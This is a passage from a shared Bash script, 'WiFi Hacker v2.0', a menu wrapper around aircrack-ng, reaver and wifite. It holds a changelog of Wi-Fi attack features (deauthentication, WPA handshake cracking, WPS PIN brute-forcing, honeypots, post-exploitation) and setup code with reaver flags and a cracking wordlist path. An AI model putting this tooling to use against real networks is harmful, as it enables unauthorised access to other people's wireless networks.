FlyFar


SUBMITTED BY: FlyFar

DATE: Feb. 28, 2024, 2:27 p.m.

UPDATED: Feb. 28, 2024, 2:29 p.m.

FORMAT: Bash

SIZE: 144.2 kB

HITS: 528

  1. #!/bin/bash
  2. ############################################################################
  3. # CREDITS BEGIN ########################################################
  4. ############################################################################
  5. # WiFi Hacker v2.0
  6. # esc0rtd3w 2019
  7. # https://github.com/esc0rtd3w/wifi-hacker/
  8. # Uses parts of the aircrack-ng suite, reaver, wifite, and many other tools
  9. ############################################################################
  10. # CREDITS END ##########################################################
  11. ############################################################################
  12. ############################################################################
  13. # VERSION HISTORY BEGIN ################################################
  14. ############################################################################
  15. # v2.0
  16. # - Added support for new Gnome terminal options. Tested in Kali 2018.4
  17. # v1.9
  18. # - Added support for Wash. Currently used for dumping scan info out to text.
  19. # - Added "Bruteforce Hidden SSID Options" To Extras Menu and updated bruteforceHiddenSSID() Function.
  20. # - Updated Menu Navigation to restrict from entering Extras Menu until after a wireless adapter has been selected.
  21. # - Configured updates with new coloring, and now will only update if remote version is higher than local version.
  22. # - Cleaned up code for doSleepMessage() Function. Now takes 3 arguments, "message", "time", and "color".
  23. # - Updated Extras Menu. Added wpa_supplicant enable and disable options. Updated wpa_cli options.
  24. # - Updated Reaver save session to only save a backup if current session file exists.
  25. # - Fixed and updated Reaver output post screen that was broken in the last release version.
  26. # v1.8
  27. # - Cleaned up scripting and moved all global hotkey triggers to a loadMenuHotkeys Function.
  28. # - Added a bruteforceHiddenSSID() Function to handle hidden SSID name reveals.
  29. # - Added logging to XML file from airodump-ng when scanning Access Points for all encryption types.
  30. # - Added automatic 10 second timeout for Update Menu to continue to main menu for attacking.
  31. # - Fixed Update Menu. "Check For Update" and "Apply New Update" are now functional.
  32. # - Update Menu now loads automatically after accepting license agreement.
  33. # - Added support for parsing network adapter names for displaying when selecting adapter to use.
  34. # - Added a check for PixieWPS attacks. If failed, will now default to normal Reaver attack.
  35. # v1.7
  36. # - Currently supports up to 10 wifi adapters.
  37. # - Changed hotkey for "Manual Adapter Entry" from "M" to "C", because of conflicting with main menu hotkey
  38. # - Added adapter check after disclaimer is agreed, so the main menu will show the correct number of adapters.
  39. # - Updated "killCounterMax" to use "interfacesFound" value for "stopMonitorMode()" function
  40. # - Added "checkMultipleAdapters" Function
  41. # - Added number of interfaces displayed on stats banner.
  42. # - Fixed "Interface Name" on stats banner.
  43. # - Updated airodump-ng scripting for several functions.
  44. # - Fixed PixieDust toggles. They were reversed, disable turned on and vice/versa.
  45. # - Updated airodump-ng windows to only scan for the encryption type that is currently being targeted.
  46. # v1.6
  47. # - Added a "forceDisconnectWiFi" function to help fix active internet connection issues.
  48. # - Changed the handling of "WiFi Force Disconnect". Now, after accepting the agreement, the main menu will only load if the connection status is "0". If the status is "1", meaning the WiFi is connected to an access point, the "forceDisconnectWiFi" and "checkNetworkStatus" functions are called until the connection is released. This allows for better control of correcting errors resulting in having an active network connection.
  49. # - Added "ifconfig" and "iwconfig" output to Extras Interface Menu
  50. # - Merged "checkForEmptyBSSID", "checkForEmptyESSID", and "checkForEmptyChannel" into "checkForEmptyCredentials" function.
  51. # - Removed "arAttackDeAuthOnRetry" function. This was a duplicate and now uses "arAttackDeAuth" function instead.
  52. # - Cleaned up "stopMonitorMode" function.
  53. # - Added support for bully, used for WPS attacks.
  54. # - Fixed issue with active network connection not force disconnecting before attacks begin.
  55. # - Updated text for several menus.
  56. # - Fixed (mostly) the issue with backup ZIP files overwriting old backups.
  57. # v1.5
  58. # - Updated code to handle new cleaning invoked backup options for "backupSessionFiles" function.
  59. # - Added progress text for "cleanCaptureFiles", "cleanSessionFiles", and backupSessionFiles" functions.
  60. # - Fixed "Clean Session Files" and Clean Capture Files" options from Extras Menu.
  61. # - Now saving session files after Wifite Auto Attacks to prevent the .cap, .xor, etc files from being deleted.
  62. # - Updated minimal number of IVs to 5000 before cracking for Wifite WEP Auto Attacks.
  63. # - Fixed Wifite auto arguments for all encryption types.
  64. # - Updated Misc Menu Text
  65. # - Added "aireplay-ng" and "packetforge-ng" to dependency check.
  66. # - Added terminal background colors and updated foreground text color selection.
  67. # - Added a "more" option that can be typed under WEP Attack Menu. This menu has "TCP Dump", "Generate ARP Packet", "Forge ARP Request", and "Replay ARP Request" options.
  68. # v1.4
  69. # - Updated WPS attack to use PixieDust as a default option after 10 second timeout if no selection is made.
  70. # - Added a manual interface name override option to "getWirelessInterfaces" function. Set manually to wlan0, wlan1, wlan2, etc. This will automatically display during normal execution and you may ignore it for defaults.
  71. # - Added a "refresh" flag that is set to hide override text on subsequent calls to "getWirelessInterfaces" function.
  72. # - Added "bannerSlim" function to use a "Title Only" banner for disclaimer and unreleased menus.
  73. # - Updated text for gathering target info on all the different encryption types.
  74. # - Updated sleep messages for WPS attacks.
  75. # - Fixed PixieDust option not setting correctly if nothing is selected at menu choice.
  76. # - Updated text for all banners. Changed the main title text and domain name.
  77. # - Fixed all the killProcess functions to now kill the process until it no longer shows up under process list.
  78. # - Added a force exit for aircrack-ng before cracking attempt. This attempts to fix the corrupt errors when scanning IVS and CAP files.
  79. # - Fixed previous Airodump and Aireplay windows not closing when launching a new dump session for WEP Attack Menu.
  80. # - Added "findCaptureFiles" function to list all available cap, ivs, csv, netxml files for cracking.
  81. # - Added terminal colors to a "setTerminalColors" function.
  82. # - Added "checkUpdate" and "getUpdate" functions to grab the newest shell script directly.
  83. # - Updated text on stats banner. Changed "Interface Name: " to "Interface: " to allow for longer ESSID names without flooding to the next line.
  84. # v1.3
  85. # - Added support for AirCrack Suite v1.2+ using the new wlanXmon format instead of monX.
  86. # - Fixed "wlanXmon" error in Kali Linux 2.x caused by new AirCrack Suite 1.2+. See "fixKaliTwoMonError" function for more info.
  87. # - Added a function to check the Linux version running.
  88. # - Removed Honeypot Mode from the banners. It has been relocated to the Advanced Menu.
  89. # - Added "$interfaceName" and "$interfaceMode" variables.
  90. # - Added interfaceName to the stats banner. This will display the current interface name (wlan0, mon0, wlan0mon, etc).
  91. # - Added interfaceMode to the main banner. Valid Interface Modes are 0=Managed / 1=Monitor Standard / 2=Monitor New / 3=Monitor Other / 4=Unknown
  92. # - Added "Open Interface Options" item to Extras Menu.
  93. # - Added "Interface Up", "Interface Down", "Interface Managed", and "Interface Monitor" to Extras Menu. The Up and Down functions affect the interface ONLY for monitor mode (mon0, mon1, wlan0mon, wlan1mon, etc) currently. Please use Enable/Disable Channel Hopping to bring up/down a managed interface (i.e. wlan0, wlan1, etc).
  94. # - Added support for all new Reaver arguments and options for Kali 2.x build.
  95. # - Added airodump-ng WPS scanning options to now show WPS connections without using wifite to show them.
  96. # - Removed the wifite window from being launched with standard WPS attack. Replaced by --wps flag in airodump-ng.
  97. # - Added "fixAirmonCompat" function to send the command to kill any processes that may interfere.
  98. # - Removed the "initAirmon" function that was inactive.
  99. # - Added the airmon-ng conflicting process fix to Extras Menu.
  100. # - Added "wlanXmon" interfaces for monitor mode termination. A better way of doing this will be done soon!
  101. # - Fixed not returning to Extras Menu from "Open Interfaces Menu".
  102. # - Added "isDebugMode" variable to show/hide certain areas that may need additional testing output. Disabled by default.
  103. # - Fixed default WEP dump scanning channel hopping during attack.
  104. # v1.2
  105. # - Fixed the top text of disclaimer banner from being cut off.
  106. # v1.1
  107. # - Now globally enforcing disconnection from any active network upon agreement of disclaimer to resolve "Channel Hopping" issues. This must be done for all attacks to work properly.
  108. # - Added "HoneyPot Mode" to main toolbar. The hotkey is "Z" to launch from anywhere in script. There is currently support for airbase-ng and wifi-honey.
  109. # - Fixed "Negative One Channel Error" occuring in airodump-ng on Kali Linux 1.0.6 and higher. This is fixed globally and should work on all platforms.
  110. # - Added "Start NetworkManager", "Stop NetworkManager", "Stop wpa_supplicant", "Stop wpa_cli", "Enable Channel Hopping", and "Disable Channel Hopping" to Extras menu.
  111. # - Enabled the Advanced Menu. Also enabled the hotkey "A" to launch it. Future releases will contain highly configurable settings for supported apps and modules.
  112. # - Added support for nmap and netcat, for use during post exploitation.
  113. # - Fixed some $bssid and $essid variable errors in WEP attacks.
  114. # - Fixed airodump window not closing if using load session hotkey during victim info, and then returning to the post monitor mode menu.
  115. # - Fixed a bug where the post monitor mode screen would still load if no encryption type was selected. If the encryption type is empty, it will now return to the main menu.
  116. # - Updated on-screen instructions for using the airdump windows and other terminal windows that are opened during target/victim setup.
  117. # - Fixed network connection not refreshing the correct status when returning to the main menu if the network status has changed while still on the menu.
  118. # - Added a second check to verify that no active network connection is present before launching an attack.
  119. # - Moved autoMode text towards the top of the post monitor mode initiation screen to be more easily visible to the user.
  120. # - Added support for post-exploitation attacks after a target has been compromised.
  121. # - Added support for "wifite". This is used for some of the newer automated attack modes as well as an alternate option to aircrack-suite if desired.
  122. # - Added Auto Attack Mode to the main menu. This option uses wifite to scan and attack any vulnerable network.
  123. # - Changed some text around on some items to be more clear and understandable.
  124. # - Added Auto modes for each attack type when selected. Once an encryption type is selected, you can type "autowep, autowps, autowpa, and autowpa2 respectively to automate the attack.
  125. # - Fixed a few $lastMenuID variables not properly set for menu navigation.
  126. # - Added a wifite window alongside the aircrack window when selecting WPS attacks, to help decipher which targets support WPS more easily.
  127. # v1.0
  128. # - Activated the disclaimer when launching the script to make sure everyone knows the rules ;)
  129. # - Added "checkRootStatus" to verify elevated privileges before launching main menu.
  130. # - Fixed a few typos throughout the script.
  131. # - Added Connection display to main menu. A status of "0" is disconnected and "1" is connected.
  132. # - Added connection status check before allowing an attack mode to be selected. This prevents trying to start an attack and being locked into a channel and other abnormalities.
  133. # - Added text display variables for connection status. They can be displayed as "None" or "Wifi", depending on if connection status is 0 or 1.
  134. # v0.9
  135. # - Removed the writeDCrackPy() function. This was used to write the Python script dcrack.py out to a file.
  136. # v0.8
  137. # - Added support for besside-ng. Used for cracking WPA/WPA2 passwords,and upload to cloud cracking,
  138. # - Fixed the aircrack window from closing after running dictionary attack.
  139. # - Added checkDependencies() function to check for all required files before loading main menu.
  140. # - Fixed the Navigation Bar from not showing up on the Help menu.
  141. # - Fixed the aircrack window from not closing when restarting WPA/WPA2 attacks.
  142. # - Fixed Help and Advanced menus not returning to the last page when trying to go back.
  143. # v0.7
  144. # - Fixed WEP aircrack errors with ESSID names that have spaces in them.
  145. # - Fixed Terminal Options not returning to previous menu properly.
  146. # - Cleaned up some old code that is no longer being used or referenced.
  147. # - Fixed reaver WPC files not getting copied correctly.
  148. # - Now copies all WPC files during reaver startup, and overwrites current WPC file after reaver session ends.
  149. # v0.6
  150. # - Added time and date stamp to all $encryptionType.sessions log files.
  151. # - The "Clean Capture Files" option now only removes files in the init directory, not sessions directory.
  152. # - Fixed bug not returning back to Extras menu after selected task has been completed.
  153. # - All created files will now be saved to the "/sessions/$encryptionType" directory by default.
  154. # - Added getCurrentDate() and getCurrentTime() functions to use with sessions and backups.
  155. # - Added Backup options to Extras menu. This creates a zip file with all saved sessions and capture files.
  156. # - Added "*.kismit.csv" and "*.kismit.netxml" files to "Cleanup Capture Files" menu under Extras.
  157. # - Changed all references from $currentTask to $lastMenuID because of menu navigation issues.
  158. # - Added a new variable called $lastMenuID for (hopefully) proper navigation between menus.
  159. # - Moved code for checking MAC Spoof Status into a checkSpoofStatus() function. Can now be used globally.
  160. # - Fixed a typo in Load Session function.
  161. # - Updated sessions save folder and organized by encryption type.
  162. # - Added saving reaver session WPC files to default sessions folder.
  163. # v0.5
  164. # - Fixed WEP attack. It wasn't being properly redirected after the last v0.4 update.
  165. # - All attack modes re-tested and seem to be working fine.
  166. # - Added a check for empty encryption type to prevent doing certain tasks if no type has yet been selected.
  167. # - Updated Save and Load session menu. It does not work properly from some menus. Still in testing.
  168. # v0.4
  169. # - Moved all initialization functions and variables to initMain(). This is only for "code cleanliness".
  170. # - Updated aircrack and airodump redirection based on the encryption type of the attack.
  171. # - Added "Clean Session Files" to Extras menu. Be careful with this and be sure to keep backups.
  172. # - Fixed not being able to return to attacks menu from Save and Load session for WEP attacks.
  173. # - Added a $currentTask variable to change dynamically depending on what function is being executed.
  174. # - Moved aircrack windows for WPA and WPA2 attacks to external terminal windows.
  175. # - Fixed not being able to leave aircrack window while running WPA and WPA2 attacks.
  176. # v0.3
  177. # - Updated WPA and WPA2 attack modes. Both are fully working and can load custom wordlists.
  178. # - Added the ability to change terminals under Extras menu. Supports Gnome, Konsole, Xterm, and Custom.
  179. # - Fixed blank session files being written when no encryption type has yet been selected.
  180. # - Added a disclaimer that must be accepted before launching main menu (currently disabled).
  181. # - Fixed both WPA and WPA2 from not writing proper values to "$capturePath/$encryptionType/$encryptionType.sessions" log file.
  182. # - Fixed a bug in WPA/WPA2 that prevented returning to main menu or exiting from wordlist page.
  183. # - Updated some on-screen text when deauth station is running for WEP, WPA, and WPA2.
  184. # - Removed Auto mode from top banner, its now defaulted after choosing encryption type.
  185. # v0.2
  186. # - Fixed WEP and WPS (reaver) attacks. Both are fully working now!
  187. # - Each attack type writes to its own log file now ("$capturePath/$encryptionType/$encryptionType.sessions").
  188. # - Cleaned up some old migrated code from previous scripts.
  189. # v0.1
  190. # - Initial version. Combined other current wifi scripts into one.
  191. ############################################################################
  192. # VERSION HISTORY END ##################################################
  193. ############################################################################
  194. ############################################################################
  195. # TO DO LIST BEGIN #####################################################
  196. ############################################################################
  197. # Extend the width of the airodump windows when opening externally
  198. # Add change options on-the-fly for WPS and other attack modes
  199. # Add cowpatty support for WPA/WPA2 attacks
  200. # Set an "ok so far" temp variable to see if all dependencies are available
  201. # Set default $serverWPA veriable to some value other than blank
  202. # Add sniffing/wireshark support
  203. # Add support for airbase-ng
  204. # Create separate handshake file with an appropriate filename
  205. # Add "create wordlist" for phone numbers and possibly others. Add option for local
  206. # Add checks and copy files created by besside to appropriate directories
  207. # Add convert to .hccap support for ocl-hashcat and other compatible software
  208. # Get advanced mode working
  209. # Get help menu working
  210. # Post-Exploitation Attacks To Add (Probably Scrap 20160514)
  211. # driftnet
  212. # nmap
  213. # wifi-honey
  214. ############################################################################
  215. # TO DO LIST END #######################################################
  216. ############################################################################
  217. ############################################################################
  218. # INITIALIZATION OPTIONS BEGIN #########################################
  219. ############################################################################
  220. initMain(){
  221. #checkArgs
  222. checkLinuxVersion
  223. killAll
  224. #startNetworkManager
  225. getCurrentDate
  226. getCurrentTime
  227. getCurrentDateAndTime
  228. setDependencies
  229. checkDependencies
  230. resizeWindow
  231. setVariablesRequired
  232. setVariablesOptional
  233. setVariablesAdvanced
  234. setDefaults
  235. setDefaultsWEP
  236. setDefaultsWPA
  237. setDefaultsWPA2
  238. setDefaultsWPS
  239. setDefaultSession
  240. setTerminalColors
  241. # Optionally show dependencies before launch
  242. #showDependencies
  243. # Optionally Show Disclaimer Before Launch
  244. showDisclaimer
  245. # Optionally Show Unreleased Text Before Launch
  246. #isUnreleased
  247. # Load Main Menu
  248. menuMain
  249. }
  250. checkArgs(){
  251. case "$#" in
  252. "1")
  253. if [ -e $1 ];
  254. then
  255. echo "File $1 Exists"
  256. else
  257. echo "File $1 Does Not Exist"
  258. fi
  259. ;;
  260. esac
  261. }
  262. checkLinuxVersion(){
  263. # Set both default Kali values to ON and if blank, Kali is not present
  264. isKali=1
  265. isKaliTwo=1
  266. # Get Linux Build Info
  267. linuxVersion=$(lsb_release -a | grep Description | cut -f2 -d":")
  268. # Check against the Linux Version for the presence of Kali
  269. kali=$(echo "$linuxVersion" | grep Kali)
  270. # Check against the Linux Version for the presence of Kali 2.x
  271. kaliTwo=$(echo "$linuxVersion" | grep Kali | grep 2.)
  272. # Check For Kali Linux
  273. case "$kali" in
  274. "")
  275. isKali=0
  276. ;;
  277. esac
  278. # Check For Kali Linux 2.x
  279. # Uses Aircrack-ng v1.2 RC2+ (Monitor Mode Is Different)
  280. case "$kaliTwo" in
  281. "")
  282. isKaliTwo=0
  283. ;;
  284. esac
  285. #echo "Linux Version: $linuxVersion"
  286. #echo ""
  287. #echo "Is Kali?: $isKali"
  288. #echo ""
  289. #echo "Is Kali 2.x?: $isKaliTwo"
  290. #read pause
  291. }
  292. ############################################################################
  293. # INITIALIZATION OPTIONS END ###########################################
  294. ############################################################################
  295. ############################################################################
  296. # DEPENDENCY OPTIONS BEGIN #############################################
  297. ############################################################################
  298. setDependencies(){
  299. pathAircrack="/usr/bin/aircrack-ng"
  300. pathAireplay="/usr/sbin/aireplay-ng"
  301. pathAirodump="/usr/sbin/airodump-ng"
  302. pathBesside="/usr/sbin/besside-ng"
  303. pathCut="/usr/bin/cut"
  304. pathDate="/bin/date"
  305. pathGrep="/bin/grep"
  306. pathHead="/usr/bin/head"
  307. pathLink="/usr/bin/link"
  308. pathMacchanger="/usr/bin/macchanger"
  309. pathMkdir="/bin/mkdir"
  310. pathPacketforge="/usr/sbin/packetforge-ng"
  311. pathReaver="/usr/bin/reaver"
  312. pathRmdir="/bin/rmdir"
  313. pathSed="/bin/sed"
  314. pathSleep="/bin/sleep"
  315. pathTail="/usr/bin/tail"
  316. pathWash="/usr/bin/wash"
  317. pathWget="/usr/bin/wget"
  318. }
  319. checkDependencies(){
  320. #tempCounter=0
  321. #numberOfDependencies=0
  322. #tempPath=""
  323. #tempStatus=""
  324. # If counter is less than max dependencies, then build statuses
  325. #if [ $tempCounter -lt $numberOfDependencies ];
  326. # then
  327. # # Set Path Name
  328. # if [ -f $tempPath ];
  329. # then
  330. # # Set Status As Available
  331. # $tempStatus="OK"
  332. # else
  333. # # Set Status As Unavailable
  334. # $tempStatus="NA"
  335. # fi
  336. # else
  337. # #echo "Done With Dependencies"
  338. # #read pause
  339. #fi
  340. if [ -f $pathAircrack ];
  341. then
  342. statusPathAircrack="OK"
  343. else
  344. statusPathAircrack="NA"
  345. fi
  346. if [ -f $pathAirodump ];
  347. then
  348. statusPathAirodump="OK"
  349. else
  350. statusPathAirodump="NA"
  351. fi
  352. if [ -f $pathAireplay ];
  353. then
  354. statusPathAireplay="OK"
  355. else
  356. statusPathAireplay="NA"
  357. fi
  358. if [ -f $pathBesside ];
  359. then
  360. statusPathBesside="OK"
  361. else
  362. statusPathBesside="NA"
  363. fi
  364. if [ -f $pathCut ];
  365. then
  366. statusPathCut="OK"
  367. else
  368. statusPathCut="NA"
  369. fi
  370. if [ -f $pathDate ];
  371. then
  372. statusPathDate="OK"
  373. else
  374. statusPathDate="NA"
  375. fi
  376. if [ -f $pathGrep ];
  377. then
  378. statusPathGrep="OK"
  379. else
  380. statusPathGrep="NA"
  381. fi
  382. if [ -f $pathHead ];
  383. then
  384. statusPathHead="OK"
  385. else
  386. statusPathHead="NA"
  387. fi
  388. if [ -f $pathLink ];
  389. then
  390. statusPathLink="OK"
  391. else
  392. statusPathLink="NA"
  393. fi
  394. if [ -f $pathMacchanger ];
  395. then
  396. statusPathMacchanger="OK"
  397. else
  398. statusPathMacchanger="NA"
  399. fi
  400. if [ -f $pathMkdir ];
  401. then
  402. statusPathMkdir="OK"
  403. else
  404. statusPathMkdir="NA"
  405. fi
  406. if [ -f $pathPacketforge ];
  407. then
  408. statusPathPacketforge="OK"
  409. else
  410. statusPathPacketforge="NA"
  411. fi
  412. if [ -f $pathReaver ];
  413. then
  414. statusPathReaver="OK"
  415. else
  416. statusPathReaver="NA"
  417. fi
  418. if [ -f $pathRmdir ];
  419. then
  420. statusPathRmdir="OK"
  421. else
  422. statusPathRmdir="NA"
  423. fi
  424. if [ -f $pathSed ];
  425. then
  426. statusPathSed="OK"
  427. else
  428. statusPathSed="NA"
  429. fi
  430. if [ -f $pathSleep ];
  431. then
  432. statusPathSleep="OK"
  433. else
  434. statusPathSleep="NA"
  435. fi
  436. if [ -f $pathTail ];
  437. then
  438. statusPathTail="OK"
  439. else
  440. statusPathTail="NA"
  441. fi
  442. if [ -f $pathWash ];
  443. then
  444. statusPathWash="OK"
  445. else
  446. statusPathWash="NA"
  447. fi
  448. if [ -f $pathWget ];
  449. then
  450. statusPathWget="OK"
  451. else
  452. statusPathWget="NA"
  453. fi
  454. }
  455. downloadDependencies(){
  456. blank=""
  457. }
  458. showDependencies(){
  459. banner
  460. bannerStats
  461. echo ""
  462. echo "List of File Dependencies Needed"
  463. echo ""
  464. echo "$pathAircrack - Status: $statusPathAircrack"
  465. echo "$pathAireplay - Status: $statusPathAireplay"
  466. echo "$pathAirodump - Status: $statusPathAirodump"
  467. echo "$pathBesside - Status: $statusPathBesside"
  468. echo "$pathCut - Status: $statusPathCut"
  469. echo "$pathDate - Status: $statusPathDate"
  470. echo "$pathGrep - Status: $statusPathGrep"
  471. echo "$pathHead - Status: $statusPathHead"
  472. echo "$pathLink - Status: $statusPathLink"
  473. echo "$pathMacchanger - Status: $statusPathMacchanger"
  474. echo "$pathMkdir - Status: $statusPathMkdir"
  475. echo "$pathPacketforge - Status: $statusPathPacketforge"
  476. echo "$pathReaver - Status: $statusPathReaver"
  477. echo "$pathRmdir - Status: $statusPathRmdir"
  478. echo "$pathSed - Status: $statusPathSed"
  479. echo "$pathSleep - Status: $statusPathSleep"
  480. echo "$pathTail - Status: $statusPathTail"
  481. echo "$pathWash - Status: $statusPathWash"
  482. echo "$pathWget - Status: $statusPathWget"
  483. echo ""
  484. echo ""
  485. echo "Press ENTER to continue...."
  486. read pause
  487. }
  488. ############################################################################
  489. # DEPENDENCY OPTIONS END ###############################################
  490. ############################################################################
  491. ############################################################################
  492. # TERMINAL OPTIONS BEGIN ###############################################
  493. ############################################################################
  494. setWindowTitle(){
  495. currentTask="setWindowTitle"
  496. title='echo -ne "\033]0;WiFi Hacker v2.0\007"'
  497. $title
  498. }
  499. resizeWindow(){
  500. currentTask="resizeWindow"
  501. printf '\033[8;32;115t'
  502. }
  503. setTerminalColors(){
  504. currentTask="setTerminalColors"
  505. # Foreground Colors
  506. defaultFG=$(echo 'printf' '\033[39m')
  507. black=$(echo 'printf' '\033[30m')
  508. blue=$(echo 'printf' '\033[34m')
  509. cyan=$(echo 'printf' '\033[36m')
  510. darkGrey=$(echo 'printf' '\033[90m')
  511. green=$(echo 'printf' '\033[32m')
  512. lightBlue=$(echo 'printf' '\033[94m')
  513. lightCyan=$(echo 'printf' '\033[96m')
  514. lightGreen=$(echo 'printf' '\033[92m')
  515. lightGrey=$(echo 'printf' '\033[37m')
  516. lightMagenta=$(echo 'printf' '\033[95m')
  517. lightRed=$(echo 'printf' '\033[91m')
  518. lightYellow=$(echo 'printf' '\033[93m')
  519. magenta=$(echo 'printf' '\033[35m')
  520. red=$(echo 'printf' '\033[31m')
  521. white=$(echo 'printf' '\033[0m')
  522. whiteAlt=$(echo 'printf' '\033[97m')
  523. yellow=$(echo 'printf' '\033[33m')
  524. # Background Colors
  525. defaultBG=$(echo 'printf' '\033[49m')
  526. blackBG=$(echo 'printf' '\033[40m')
  527. blueBG=$(echo 'printf' '\033[44m')
  528. cyanBG=$(echo 'printf' '\033[46m')
  529. darkGreyBG=$(echo 'printf' '\033[100m')
  530. greenBG=$(echo 'printf' '\033[42m')
  531. lightBlueBG=$(echo 'printf' '\033[104m')
  532. lightCyanBG=$(echo 'printf' '\033[106m')
  533. lightGreenBG=$(echo 'printf' '\033[102m')
  534. lightGreyBG=$(echo 'printf' '\033[47m')
  535. lightMagentaBG=$(echo 'printf' '\033[105m')
  536. lightRedBG=$(echo 'printf' '\033[101m')
  537. lightYellowBG=$(echo 'printf' '\033[103m')
  538. magentaBG=$(echo 'printf' '\033[45m')
  539. redBG=$(echo 'printf' '\033[41m')
  540. whiteBG=$(echo 'printf' '\033[107m')
  541. yellowBG=$(echo 'printf' '\033[43m')
  542. }
  543. setTerminalTextEffects(){
  544. currentTask="setTerminalTextEffects"
  545. textBlink=$(echo -e "\e[5m")
  546. textBold=$(echo -e "\e[1m")
  547. textDim=$(echo -e "\e[2m")
  548. textHidden=$(echo -e "\e[8m")
  549. textInverted=$(echo -e "\e[7m")
  550. textUnderline=$(echo -e "\e[4m")
  551. }
  552. ############################################################################
  553. # TERMINAL OPTIONS END #################################################
  554. ############################################################################
  555. ############################################################################
  556. # DEFAULT VARIABLES BEGIN ##############################################
  557. ############################################################################
  558. setVariablesRequired(){
  559. currentTask="setVariablesRequired"
  560. versionBase="2.0"
  561. versionBaseClean="00"
  562. initPath="$PWD"
  563. isDebugMode="0"
  564. isDevBuild="0"
  565. # Update Stuff
  566. versionRemote="0.0"
  567. versionRemoteClean="00"
  568. versionRemoteTemp="0.0"
  569. newUpdateAvailable="0"
  570. updateMaster=https://raw.githubusercontent.com/esc0rtd3w/wifi-hacker/master/wifi-hacker.sh
  571. updateTemp="/tmp/update-check.tmp"
  572. updateChecked="0"
  573. skipUpdate="0"
  574. returnToUpdatePage="0"
  575. # Setting default update downloaded script value
  576. newVersionScript="0.0"
  577. # Check Gnome version for terminal options (added 20190205)
  578. gnomeVer=$(gnome-terminal --version | grep "3.")
  579. case "$gnomeVer" in
  580. # Kali 2018.4 GNOME Terminal 3.30.0 using VTE 0.54.1 +GNUTLS
  581. "")
  582. gnomeOptions="legacy"
  583. terminal="gnome-terminal -x"
  584. terminalGnome="gnome-terminal -x"
  585. terminalGnomeLegacy="gnome-terminal -x"
  586. ;;
  587. *)
  588. gnomeOptions="new"
  589. terminal="gnome-terminal --window --geometry=132x24 --"
  590. terminalGnome="gnome-terminal --window --geometry=132x24 --"
  591. terminalGnomeLegacy="gnome-terminal -x"
  592. ;;
  593. esac
  594. #echo "gnomeOptions: $gnomeOptions"
  595. #read pause
  596. terminalKonsole="konsole -e"
  597. terminalXterm="xterm -e"
  598. bin=""
  599. }
  600. setVariablesOptional(){
  601. currentTask="setVariablesOptional"
  602. blank=""
  603. }
  604. setVariablesAdvanced(){
  605. currentTask="setVariablesAdvanced"
  606. blank=""
  607. }
  608. setDefaults(){
  609. currentTask="setDefaults"
  610. startMonitorMode="airmon-ng start"
  611. stopMonitorMode="airmon-ng stop"
  612. getRandomMacAddress=""
  613. spoofStatus="0"
  614. resetSpoofStatus="0"
  615. encryptionType="empty"
  616. encryptionTypeText="Empty"
  617. ipStatus="0"
  618. interface="wlan0"
  619. #interfaceMonitor="mon0"
  620. interfaceMonitor="wlan0mon"
  621. interfaceName="wlan0"
  622. interfaceMode="0"
  623. interfaceNumber="0"
  624. interfaceNumberMax="99"
  625. interfacesFound="0"
  626. bssid=""
  627. essid=""
  628. channel=""
  629. noChannel="0"
  630. # This is used to return from backupCaptureFiles if invoked from backupCaptureFiles
  631. backupFromCaptureErase="0"
  632. # This is used to return from backupSessionFiles if invoked from backupSessionFiles
  633. backupFromSessionErase="0"
  634. # Default Attack Methods
  635. attackMethodWEP=""
  636. attackMethodWPS="reaver"
  637. attackMethodWPA=""
  638. attackMethodWPA2=""
  639. #Find Network Adapter Commands
  640. showAdapterPciAll=$(lspci | egrep -i 'network|ethernet')
  641. showAdapterUsbAll=$(lsusb | egrep -i '')
  642. showAdapterUsbAtheros=$(lsusb | egrep -i 'atheros|0cf3')
  643. # Atheros WiFi Adapters
  644. showAdapterUsbAtherosAR9271=$(lsusb | egrep -i 'AR9271' | cut -d ":" -f3)
  645. # Intel WiFi Adapters
  646. showAdapterUsbIntel6205=$(lspci | egrep -i 'Intel Corporation Centrino Advanced-N 6205' | cut -d ":" -f3)
  647. # Support For 10 Adapter Names
  648. adapterNameDefault="No Adapter Name Available"
  649. showAdapterOneName="$adapterNameDefault"
  650. showAdapterTwoName="$adapterNameDefault"
  651. showAdapterThreeName="$adapterNameDefault"
  652. showAdapterFourName="$adapterNameDefault"
  653. showAdapterFiveName="$adapterNameDefault"
  654. showAdapterSixName="$adapterNameDefault"
  655. showAdapterSevenName="$adapterNameDefault"
  656. showAdapterEightName="$adapterNameDefault"
  657. showAdapterNineName="$adapterNameDefault"
  658. showAdapterTenName="$adapterNameDefault"
  659. # Default Capture Lists Values
  660. listCap=0
  661. listIvs=0
  662. listXor=0
  663. listCsv=0
  664. listNetXml=0
  665. hotkeyInput=""
  666. apListType=""
  667. # Default Session Values
  668. sessionID="0"
  669. capturePath=$(echo "$PWD/sessions")
  670. capturePathWEP=$(echo "$PWD/sessions/wep")
  671. capturePathWPS=$(echo "$PWD/sessions/wps")
  672. capturePathWPA=$(echo "$PWD/sessions/wpa")
  673. capturePathWPA2=$(echo "$PWD/sessions/wpa2")
  674. # Default Current Directory Temp Path
  675. whTemp=$(echo "$PWD/temp")
  676. defaultScanOutputIVS="$initPath/apScan-01.ivs"
  677. defaultScanOutputXML="$initPath/apScan-01.kismet.netxml"
  678. defaultScanOutputTXT="$initPath/apScan-01.txt"
  679. }
  680. setDefaultsWEP(){
  681. currentTask="setDefaultsWEP"
  682. # aircrack-ng cracking mode WEP
  683. acMode="1"
  684. # aircrack-ng cracking mode WEP (WPA-PSK)
  685. #acMode="2"
  686. washFile="$whTemp/wash.txt"
  687. washChannel="1"
  688. }
  689. setDefaultsWPA(){
  690. currentTask="setDefaultsWPA"
  691. wordlist="/usr/share/wordlists/metasploit/password.lst"
  692. retryDeauth="0"
  693. serverWPA=""
  694. }
  695. setDefaultsWPA2(){
  696. currentTask="setDefaultsWPA2"
  697. }
  698. setDefaultsWPS(){
  699. currentTask="setDefaultsWPS"
  700. reaver="reaver"
  701. reaverSessionPath="etc/reaver"
  702. bssidCharOnly=""
  703. reaverInterfaceInput=""
  704. reaverBSSIDInput=""
  705. reaverChannelInput=""
  706. reaverESSIDInput=""
  707. reaverExecInput=""
  708. reaverMACInput=""
  709. reaverOutfileInput=""
  710. reaverSessionInput=""
  711. reaverDelayInput=""
  712. reaverFailWaitInput=""
  713. reaverM57TimeoutInput=""
  714. reaverMaxAttemptsInput=""
  715. reaverPinInput=""
  716. reaverTimeoutInput=""
  717. reaverDelay="--delay="
  718. reaverDHSmall="--dh-small"
  719. reaverEAPTerminate="--eap-terminate"
  720. reaverFailWait="--fail-wait="
